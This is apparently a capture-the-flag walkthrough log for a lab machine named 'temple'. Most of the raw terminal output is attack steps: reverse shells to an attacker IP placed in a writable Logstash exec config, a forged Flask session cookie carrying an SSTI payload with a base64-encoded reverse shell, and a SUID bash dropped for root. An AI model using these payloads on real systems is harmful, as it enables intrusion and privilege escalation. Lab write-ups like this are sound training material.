Dec 4 2017 Z97-byobu.sh -rwxr-xr-x 1 root root 873 May 11 2021 Z99-cloudinit-warnings.sh -rwxr-xr-x 1 root root 3417 May 11 2021 Z99-cloud-locale-test.sh ╔══════════╣ Permissions in init, init.d, systemd, and rc.d ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d ═╣ Hashes inside passwd file? ........... No ═╣ Writable passwd file? ................ No ═╣ Credentials in fstab/mtab? ........... No ═╣ Can I read shadow files? ............. No ═╣ Can I read shadow plists? ............ No ═╣ Can I write shadow plists? ........... No ═╣ Can I read opasswd file? ............. No ═╣ Can I write in network-scripts? ...... No ═╣ Can I read root folder? .............. No ╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/frankie/.bash_history /home/bill/flag1.txt /root/ ╔══════════╣ Searching folders owned by me containing others files on it (limit 100) /home/bill ╔══════════╣ Readable files belonging to root and readable by me but not world readable -rw-r----- 1 root adm 5505 Jan 24 23:40 /var/log/cloud-init-output.log -rw-r----- 1 root adm 0 Jul 25 2021 /var/log/apport.log -rw-r----- 1 root adm 0 Oct 4 2021 /var/log/apache2/other_vhosts_access.log -rw-r----- 1 root adm 802 Jan 24 23:40 /var/log/apache2/error.log -rw-r----- 1 root adm 0 Oct 4 2021 /var/log/apache2/access.log bill@temple:/etc$ find /etc -writable 2>/dev/null find /etc -writable 2>/dev/null /etc/logstash/conf.d/logstash-sample.conf https://book.hacktricks.xyz/linux-hardening/privilege-escalation/logstash bill@temple:/etc/logstash$ cat logstash.yml cat logstash.yml # Settings file in YAML # # Settings can be specified either in hierarchical form, e.g.: # # pipeline: # batch: # size: 125 # delay: 5 # # Or as flat keys: # # pipeline.batch.size: 125 # pipeline.batch.delay: 5 # # ------------ Node identity ------------ # # Use a descriptive name for the node: # # node.name: test # # If omitted the node name will default to the machine's host name # # ------------ Data path ------------------ # # Which directory should be used by logstash and its plugins # for any persistent needs. Defaults to LOGSTASH_HOME/data # path.data: /var/lib/logstash # # ------------ Pipeline Settings -------------- # # The ID of the pipeline. # # pipeline.id: main # # Set the number of workers that will, in parallel, execute the filters+outputs # stage of the pipeline. # # This defaults to the number of the host's CPU cores. # # pipeline.workers: 2 # # How many events to retrieve from inputs before sending to filters+workers # # pipeline.batch.size: 125 # # How long to wait in milliseconds while polling for the next event # before dispatching an undersized batch to filters+outputs # # pipeline.batch.delay: 50 # # Force Logstash to exit during shutdown even if there are still inflight # events in memory. By default, logstash will refuse to quit until all # received events have been pushed to the outputs. # # WARNING: enabling this can lead to data loss during shutdown # # pipeline.unsafe_shutdown: false # # Set the pipeline event ordering. Options are "auto" (the default), "true" or "false". # "auto" will automatically enable ordering if the 'pipeline.workers' setting # is also set to '1'. # "true" will enforce ordering on the pipeline and prevent logstash from starting # if there are multiple workers. # "false" will disable any extra processing necessary for preserving ordering. # # pipeline.ordered: auto # # ------------ Pipeline Configuration Settings -------------- # # Where to fetch the pipeline configuration for the main pipeline # # path.config: # # Pipeline configuration string for the main pipeline # # config.string: # # At startup, test if the configuration is valid and exit (dry run) # # config.test_and_exit: false # # Periodically check if the configuration has changed and reload the pipeline # This can also be triggered manually through the SIGHUP signal # config.reload.automatic: true # # How often to check if the pipeline configuration has changed (in seconds) # Note that the unit value (s) is required. Values without a qualifier (e.g. 60) # are treated as nanoseconds. # Setting the interval this way is not recommended and might change in later versions. # config.reload.interval: 3s # # Show fully compiled configuration as debug log message # NOTE: --log.level must be 'debug' # # config.debug: false # # When enabled, process escaped characters such as \n and \" in strings in the # pipeline configuration files. # # config.support_escapes: false # # ------------ HTTP API Settings ------------- # Define settings related to the HTTP API here. # # The HTTP API is enabled by default. It can be disabled, but features that rely # on it will not work as intended. # http.enabled: true # # By default, the HTTP API is bound to only the host's local loopback interface, # ensuring that it is not accessible to the rest of the network. Because the API # includes neither authentication nor authorization and has not been hardened or # tested for use as a publicly-reachable API, binding to publicly accessible IPs # should be avoided where possible. # # http.host: 127.0.0.1 # # The HTTP API web server will listen on an available port from the given range. # Values can be specified as a single port (e.g., `9600`), or an inclusive range # of ports (e.g., `9600-9700`). # # http.port: 9600-9700 # # ------------ Module Settings --------------- # Define modules here. Modules definitions must be defined as an array. # The simple way to see this is to prepend each `name` with a `-`, and keep # all associated variables under the `name` they are associated with, and # above the next, like this: # # modules: # - name: MODULE_NAME # var.PLUGINTYPE1.PLUGINNAME1.KEY1: VALUE # var.PLUGINTYPE1.PLUGINNAME1.KEY2: VALUE # var.PLUGINTYPE2.PLUGINNAME1.KEY1: VALUE # var.PLUGINTYPE3.PLUGINNAME3.KEY1: VALUE # # Module variable names must be in the format of # # var.PLUGIN_TYPE.PLUGIN_NAME.KEY # # modules: # # ------------ Cloud Settings --------------- # Define Elastic Cloud settings here. # Format of cloud.id is a base64 value e.g. dXMtZWFzdC0xLmF3cy5mb3VuZC5pbyRub3RhcmVhbCRpZGVudGlmaWVy # and it may have an label prefix e.g. staging:dXMtZ... # This will overwrite 'var.elasticsearch.hosts' and 'var.kibana.host' # cloud.id: <identifier> # # Format of cloud.auth is: <user>:<pass> # This is optional # If supplied this will overwrite 'var.elasticsearch.username' and 'var.elasticsearch.password' # If supplied this will overwrite 'var.kibana.username' and 'var.kibana.password' # cloud.auth: elastic:<password> # # ------------ Queuing Settings -------------- # # Internal queuing model, "memory" for legacy in-memory based queuing and # "persisted" for disk-based acked queueing. Defaults is memory # # queue.type: memory # # If using queue.type: persisted, the directory path where the data files will be stored. # Default is path.data/queue # # path.queue: # # If using queue.type: persisted, the page data files size. The queue data consists of # append-only data files separated into pages. Default is 64mb # # queue.page_capacity: 64mb # # If using queue.type: persisted, the maximum number of unread events in the queue. # Default is 0 (unlimited) # # queue.max_events: 0 # # If using queue.type: persisted, the total capacity of the queue in number of bytes. # If you would like more unacked events to be buffered in Logstash, you can increase the # capacity using this setting. Please make sure your disk drive has capacity greater than # the size specified here. If both max_bytes and max_events are specified, Logstash will pick # whichever criteria is reached first # Default is 1024mb or 1gb # # queue.max_bytes: 1024mb # # If using queue.type: persisted, the maximum number of acked events before forcing a checkpoint # Default is 1024, 0 for unlimited # # queue.checkpoint.acks: 1024 # # If using queue.type: persisted, the maximum number of written events before forcing a checkpoint # Default is 1024, 0 for unlimited # # queue.checkpoint.writes: 1024 # # If using queue.type: persisted, the interval in milliseconds when a checkpoint is forced on the head page # Default is 1000, 0 for no periodic checkpoint. # # queue.checkpoint.interval: 1000 # # ------------ Dead-Letter Queue Settings -------------- # Flag to turn on dead-letter queue. # # dead_letter_queue.enable: false # If using dead_letter_queue.enable: true, the maximum size of each dead letter queue. Entries # will be dropped if they would increase the size of the dead letter queue beyond this setting. # Default is 1024mb # dead_letter_queue.max_bytes: 1024mb # If using dead_letter_queue.enable: true, the interval in milliseconds where if no further events eligible for the DLQ # have been created, a dead letter queue file will be written. A low value here will mean that more, smaller, queue files # may be written, while a larger value will introduce more latency between items being "written" to the dead letter queue, and # being available to be read by the dead_letter_queue input when items are are written infrequently. # Default is 5000. # # dead_letter_queue.flush_interval: 5000 # If using dead_letter_queue.enable: true, the directory path where the data files will be stored. # Default is path.data/dead_letter_queue # # path.dead_letter_queue: # # ------------ Metrics Settings -------------- # # Bind address for the metrics REST endpoint # # http.host: "127.0.0.1" # # Bind port for the metrics REST endpoint, this option also accept a range # (9600-9700) and logstash will pick up the first available ports. # # http.port: 9600-9700 # # ------------ Debugging Settings -------------- # # Options for log.level: # * fatal # * error # * warn # * info (default) # * debug # * trace # # log.level: info path.logs: /var/log/logstash # # ------------ Other Settings -------------- # # Where to find custom plugins # path.plugins: [] # # Flag to output log lines of each pipeline in its separate log file. Each log filename contains the pipeline.name # Default is false # pipeline.separate_logs: false # # ------------ X-Pack Settings (not applicable for OSS build)-------------- # # X-Pack Monitoring # https://www.elastic.co/guide/en/logstash/current/monitoring-logstash.html #xpack.monitoring.enabled: false #xpack.monitoring.elasticsearch.username: logstash_system #xpack.monitoring.elasticsearch.password: password #xpack.monitoring.elasticsearch.proxy: ["http://proxy:port"] #xpack.monitoring.elasticsearch.hosts: ["https://es1:9200", "https://es2:9200"] # an alternative to hosts + username/password settings is to use cloud_id/cloud_auth #xpack.monitoring.elasticsearch.cloud_id: monitoring_cluster_id:xxxxxxxxxx #xpack.monitoring.elasticsearch.cloud_auth: logstash_system:password # another authentication alternative is to use an Elasticsearch API key #xpack.monitoring.elasticsearch.api_key: "id:api_key" #xpack.monitoring.elasticsearch.ssl.certificate_authority: [ "/path/to/ca.crt" ] #xpack.monitoring.elasticsearch.ssl.truststore.path: path/to/file #xpack.monitoring.elasticsearch.ssl.truststore.password: password #xpack.monitoring.elasticsearch.ssl.keystore.path: /path/to/file #xpack.monitoring.elasticsearch.ssl.keystore.password: password #xpack.monitoring.elasticsearch.ssl.verification_mode: certificate #xpack.monitoring.elasticsearch.sniffing: false #xpack.monitoring.collection.interval: 10s #xpack.monitoring.collection.pipeline.details.enabled: true # # X-Pack Management # https://www.elastic.co/guide/en/logstash/current/logstash-centralized-pipeline-management.html #xpack.management.enabled: false #xpack.management.pipeline.id: ["main", "apache_logs"] #xpack.management.elasticsearch.username: logstash_admin_user #xpack.management.elasticsearch.password: password #xpack.management.elasticsearch.proxy: ["http://proxy:port"] #xpack.management.elasticsearch.hosts: ["https://es1:9200", "https://es2:9200"] # an alternative to hosts + username/password settings is to use cloud_id/cloud_auth #xpack.management.elasticsearch.cloud_id: management_cluster_id:xxxxxxxxxx #xpack.management.elasticsearch.cloud_auth: logstash_admin_user:password # another authentication alternative is to use an Elasticsearch API key #xpack.management.elasticsearch.api_key: "id:api_key" #xpack.management.elasticsearch.ssl.certificate_authority: [ "/path/to/ca.crt" ] #xpack.management.elasticsearch.ssl.truststore.path: /path/to/file #xpack.management.elasticsearch.ssl.truststore.password: password #xpack.management.elasticsearch.ssl.keystore.path: /path/to/file #xpack.management.elasticsearch.ssl.keystore.password: password #xpack.management.elasticsearch.ssl.verification_mode: certificate #xpack.management.elasticsearch.sniffing: false #xpack.management.logstash.poll_interval: 5s bill@temple:/etc/logstash/conf.d$ ls ls logstash-sample.conf bill@temple:/etc/logstash/conf.d$ cat * cat * # Sample Logstash configuration for creating a simple # Beats -> Logstash -> Elasticsearch pipeline. ┌──(kali㉿kali)-[~/Downloads/temple] └─$ cat logstash-sample.conf input { exec { command => "/bin/bash -c 'bash -i >& /dev/tcp/10.8.19.103/4444 0>&1'" interval => 5 } } output { file { path => "/tmp/output.log" codec => rubydebug } } ┌──(kali㉿kali)-[~/Downloads/temple] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.181.180 - - [24/Jan/2023 20:36:15] "GET /logstash-sample.conf HTTP/1.1" 200 - bill@temple:/etc/logstash/conf.d$ curl http://10.8.19.103:80/logstash-sample.conf -o logstash-sample.conf <103:80/logstash-sample.conf -o logstash-sample.conf % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 -- 0 0 0 0 0 0 0 0 --100 193 100 193 0 0 347 0 --100 193 100 193 0 0 346 0 --:--:-- --:--:-- --:--:-- 346 ┌──(kali㉿kali)-[~/Downloads/temple] └─$ rlwrap nc -lvnp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.181.180. Ncat: Connection from 10.10.181.180:44376. bash: cannot set terminal process group (1291): Inappropriate ioctl for device bash: no job control in this shell root@temple:/# whoami whoami root root@temple:/# cd /root cd /root root@temple:~# ls ls flag2.txt script.sh root@temple:~# cat flag2.txt cat flag2.txt f620630155081293669dbb7949f975fa9386f1cd root@temple:~# cat script.sh cat script.sh #!/bin/bash sleep 30 /bin/systemctl start logstash.service Another method Logged in as <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> SECRET_KEY: f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry ┌──(kali㉿kali)-[~/Downloads/temple] └─$ echo 'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry' > secret_key ┌──(kali㉿kali)-[~/Downloads/temple] └─$ cat secret_key f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry ┌──(kali㉿kali)-[~/Downloads/temple] └─$ echo "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoie3tjb25maWd9fSJ9.Y9CI3Q.huUG93mqr9-Yr0sHZc3DaWR_3Lo" | base64 -d {"logged_in":true,"username":"{{config}}"}base64: invalid input https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask └─$ pip3 install flask-unsign Defaulting to user installation because normal site-packages is not writeable Collecting flask-unsign Downloading flask-unsign-1.2.0.tar.gz (14 kB) Preparing metadata (setup.py) ... done Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask-unsign) (2.2.2) Requirement already satisfied: requests in /home/kali/.local/lib/python3.10/site-packages (from flask-unsign) (2.20.0) Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.2) Requirement already satisfied: markupsafe in /usr/local/lib/python3.10/dist-packages (from flask-unsign) (2.1.1) Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask-unsign) (2.2.2) Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /home/kali/.local/lib/python3.10/site-packages (from requests->flask-unsign) (3.0.4) Requirement already satisfied: urllib3<1.25,>=1.21.1 in /home/kali/.local/lib/python3.10/site-packages (from requests->flask-unsign) (1.24.3) Requirement already satisfied: idna<2.8,>=2.5 in /home/kali/.local/lib/python3.10/site-packages (from requests->flask-unsign) (2.6) Requirement already satisfied: certifi>=2017.4.17 in /home/kali/.local/lib/python3.10/site-packages (from requests->flask-unsign) (2017.7.27.1) Building wheels for collected packages: flask-unsign Building wheel for flask-unsign (setup.py) ... done Created wheel for flask-unsign: filename=flask_unsign-1.2.0-py3-none-any.whl size=14676 sha256=1dcb3fafc09b1d4ff5f9b7d0a6ce90e380aacc81633dbc453b8204bbbf0e30f4 Stored in directory: /home/kali/.cache/pip/wheels/9d/c8/87/dac6332479e7acaadecbe5f965d6732f64dfb6b3b97cbc1001 Successfully built flask-unsign Installing collected packages: flask-unsign WARNING: The script flask-unsign is installed in '/home/kali/.local/bin' which is not on PATH. Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location. Successfully installed flask-unsign-1.2.0 ┌──(kali㉿kali)-[~/Downloads/temple] └─$ export PATH=/home/kali/.local/bin:$PATH ┌──(kali㉿kali)-[~/Downloads/temple] └─$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoie3tjb25maWd9fSJ9.Y9CI3Q.huUG93mqr9-Yr0sHZc3DaWR_3Lo' {'logged_in': True, 'username': '{{config}}'} https://hacktricks.boitatech.com.br/pentesting-web/ssti-server-side-template-injection {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} ┌──(kali㉿kali)-[~/Downloads/temple] └─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': '{{config.__class__.__init__.__globals__[\"os\"].popen(\"ls\").read()}}'}" --secret 'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry' .eJwdyEEKgCAQRuG7_KuC8ABdJWOwmkSYZkJrJd49afe9VyEWIx-UFPOTX57wFs4aLsaMWnfTM0VHtEsohagraXp-RLEtSJ-LhxWP1d12sw4e0mt0mcMxjK2hfX0vJGw.Y9CMgA.WETGAoKaBBvlVf_-dHVrYrMqgO8 ┌──(kali㉿kali)-[~/Downloads/temple] └─$ flask-unsign --decode --cookie '.eJwdyEEKgCAQRuG7_KuC8ABdJWOwmkSYZkJrJd49afe9VyEWIx-UFPOTX57wFs4aLsaMWnfTM0VHtEsohagraXp-RLEtSJ-LhxWP1d12sw4e0mt0mcMxjK2hfX0vJGw.Y9CMgA.WETGAoKaBBvlVf_-dHVrYrMqgO8' {'logged_in': True, 'username': '{{config.__class__.__init__.__globals__["os"].popen("ls").read()}}'} ┌──(kali㉿kali)-[~/Downloads/temple] └─$ echo 'bash -i >& /dev/tcp/10.8.19.103/1337 0>&1' | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjE5LjEwMy8xMzM3IDA+JjEK ┌──(kali㉿kali)-[~/Downloads/temple] └─$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjE5LjEwMy8xMzM3IDA+JjEK | base64 -d bash -i >& /dev/tcp/10.8.19.103/1337 0>&1 ┌──(kali㉿kali)-[~/Downloads/temple] └─$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjE5LjEwMy8xMzM3IDA+JjEK | base64 -d | bash bash: connect: Connection refused bash: line 1: /dev/tcp/10.8.19.103/1337: Connection refused ──(kali㉿kali)-[~/Downloads/temple] └─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': '{{config.__class__.__init__.__globals__[\"os\"].popen(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjE5LjEwMy8xMzM3IDA+JjEK | base64 -d | bash\").read()}}'}" --secret 'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry' .eJwlyl0LgjAYBeC_Iu9VUnmRFuGdmEWlNwVBZYypa07mJk770Pzvjbo48JzD6YFLSkmGmAC3qVsygVaRWuCSgAt9n0pxZ9RCKOVYKYS0mGDND5TLBHM9XmOQKoabVcmKiFEMJM2lcS7XHfa9Bh-98Y55j8vmNAvtQ5H6y1fkO05YBHOdZ_TWvYvs7Ur_imBvfIwEK7JwjGn2dx6DadUEZyNzGGD4AmcvPM8.Y9CNlw.V4Jdzy5Tk8PmyAZAAwWsx6uW50c copy to session cookie .eJwlyl0LgjAYBeC_Iu9VUnmRFuGdmEWlNwVBZYypa07mJk770Pzvjbo48JzD6YFLSkmGmAC3qVsygVaRWuCSgAt9n0pxZ9RCKOVYKYS0mGDND5TLBHM9XmOQKoabVcmKiFEMJM2lcS7XHfa9Bh-98Y55j8vmNAvtQ5H6y1fkO05YBHOdZ_TWvYvs7Ur_imBvfIwEK7JwjGn2dx6DadUEZyNzGGD4AmcvPM8.Y9CNlw.V4Jdzy5Tk8PmyAZAAwWsx6uW50c ┌──(kali㉿kali)-[~/Downloads/temple] └─$ rlwrap nc -lvnp 1337 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.47.191. Ncat: Connection from 10.10.47.191:34360. bash: cannot set terminal process group (895): Inappropriate ioctl for device bash: no job control in this shell bill@temple:~/webapp$ whoami whoami bill bill@temple:~/webapp$ python3 -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' bill@temple:~/webapp$ cd /etc/logstash cd /etc/logstash bill@temple:/etc/logstash$ ls ls conf.d log4j2.properties logstash.yml startup.options jvm.options logstash-sample.conf pipelines.yml bill@temple:/etc/logstash$ cd conf.d cd conf.d bill@temple:/etc/logstash/conf.d$ cat * cat * # Sample Logstash configuration for creating a simple # Beats -> Logstash -> Elasticsearch pipeline. ┌──(kali㉿kali)-[~/Downloads/temple] └─$ cat logstash-sample2.conf input { exec { command => "cp /bin/bash /home/bill/shell; chmod +xs /home/bill/shell" interval => 5 } } output { file { path => "/tmp/output.log" codec => rubydebug } } ┌──(kali㉿kali)-[~/Downloads/temple] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.47.191 - - [24/Jan/2023 21:08:07] "GET /logstash-sample2.conf HTTP/1.1" 200 - bill@temple:/etc/logstash/conf.d$ curl http://10.8.19.103:80/logstash-sample2.conf -o logstash-sample.conf <03:80/logstash-sample2.conf -o logstash-sample.conf % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- 0 0 0 0 0 0 0 0 --:--:-- --:--:--100 194 100 194 0 0 439 0 --:--:-- --:--:-- --:--:-- 440 bill@temple:~$ ls -lah ls -lah total 1.2M drwxr-xr-x 6 bill bill 4.0K Jan 25 02:09 . drwxr-xr-x 5 root root 4.0K Oct 3 2021 .. lrwxrwxrwx 1 bill bill 9 Jul 25 2021 .bash_history -> /dev/null -rw-r--r-- 1 bill bill 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 bill bill 3.7K Apr 4 2018 .bashrc drwx------ 3 bill bill 4.0K Jul 24 2021 .cache -rw-r--r-- 1 root root 41 Jul 25 2021 flag1.txt drwx------ 3 bill bill 4.0K Jul 24 2021 .gnupg drwx------ 4 bill bill 4.0K Jul 24 2021 .local -rw-r--r-- 1 bill bill 807 Apr 4 2018 .profile -rwsr-sr-x 1 root root 1.1M Jan 25 02:09 shell drwxrwxr-x 3 bill bill 4.0K Jul 27 2021 webapp bill@temple:~$ ./shell -p ./shell -p shell-4.4# whoami whoami root shell-4.4# cd /root cd /root shell-4.4# ls ls flag2.txt script.sh shell-4.4# cat flag2.txt cat flag2.txt f620630155081293669dbb7949f975fa9386f1cd shell-4.4# cat script.sh cat script.sh #!/bin/bash sleep 30 /bin/systemctl start logstash.service

Gain access to the temple!